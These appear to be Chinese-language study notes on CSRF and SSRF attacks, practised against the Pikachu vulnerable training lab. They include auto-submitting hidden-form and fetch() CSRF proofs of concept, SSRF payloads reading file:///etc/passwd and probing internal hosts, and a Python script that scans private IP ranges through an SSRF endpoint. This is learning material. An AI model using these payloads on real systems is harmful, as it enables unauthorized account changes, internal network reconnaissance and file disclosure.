CSRF
一、原理:
跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。实际上是攻击者借用了受害者的Session,欺骗服务器进行操作。
二、利用:
三、方式
1.GET
直接把可以修改用户信息或者进行转账操作进行抓包分析,可以看到该数据包使用get方式把用户地址改为了aaa,则可以拼接域名和后面参数。在发给受害者,如果受害者这时登录在http://localhost/pikachu/vul/csrf/csrfget/csrf_get.php中受害者用户信息将被更改。
http://localhost//pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=aaa&email=vince%40pikachu.com&submit=submit
2.POST
同样进行抓包,可以看到这次改为了POST提交,使用bp的csrf poc生成,将该数据包改为前端代码,将该html代码写入自己的服务器的index.html,再将自己服务器的连接发给受害者,即可完成和GET同样的操作。
但是该html代码需要点击按钮才能执行,我们需要一个受害者只要进入就能执行的代码。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form id="myfrom" method="post" action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input type="hidden" name="sex" value="undefine" />
<input type="hidden" name="phonenum" value="18626545453" />
<input type="hidden" name="add" value="moon" />
<input type="hidden" name="email" value="vince@pikachu.com" />
<button id='btn' type="hidden" name="submit" value="submit" />
</form>
<script>
document.getElementById("btn").click();
</script>
</body>
</html>
将button的type="hidden"使按钮隐藏,并且自动点击俺就以执行提交表单的操作,附上一个不进行页面访问直接传参的代码,需要CORS不进行跨域请求禁止
<!DOCTYPE html>
<html >
<head>
<meta charset="UTF-8">
<title>CSRF PoC - Asynchronous Request</title>
</head>
<body>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<script>
// 定义要发送的数据
const data = {
sex: 'man',
phonenum: '18628572334',
add: 'usa',
email: 'vince@pikachu.com'
};
// 使用fetch API发送POST请求
fetch('http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php', {
method: 'POST', // 或者 'POST'
headers: {
'Content-Type': 'application/json' // 根据实际情况可能需要更改
},
body: JSON.stringify(data) // 将JavaScript对象转换为JSON字符串
})
.then(response => {
// 请求成功,这里可以处理响应
console.log('Response:', response);
// 如果需要获取返回的文本内容,可以使用下面的代码
// return response.text();
})
.catch(error => {
// 请求失败,这里可以处理错误
console.error('Error:', error);
});
</script>
</body>
</html>
四、绕过
1.token绕过
五、工具
Xray
SSRF
一、原理:
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
二、利用:
探测内网主机存活、访问内网主机文件
三、方式:
有三种引发SSRF漏洞的函数:
1.file_get_contents() 进行内网文件读取
localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
2.curl_exec() 进行内网探针
localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://{193.168.9.23}:{8080}
import requests
session=requests.session()
url="http://localhost/pikachu/vul/ssrf/ssrf_curl.php"
for i in range(0,255):
for j in range(0,255):
target = f"http://192.168.{i}.{j}"
rurl_res = session.get(f'{url}?url={target}')
if (rurl_res.elapsed.total_seconds() < 4):
print(f"存活主机:http://192.168.{i}.{j}\n")
3.fsockopen()
四、URL伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
例如:
http:192.168.1.6/phpmyadmin/
file:///D:/www.txt
dict://192.168.1.6:3306/info
ftp://192.168.1.6:21
五、可能存在漏洞的传参点和网站有SSRF漏洞的功能点
传参点:
share wap url link src source target u 3g display domain sourceURL imageURL
功能点:
1.图片上传、下载功能,可能通过url参数访问资源
2.收藏功能,可能会包含含收藏的目标地址
3.分享功能,可能会包含分享网站的目标地址
4.API接口,可能会包含下载参数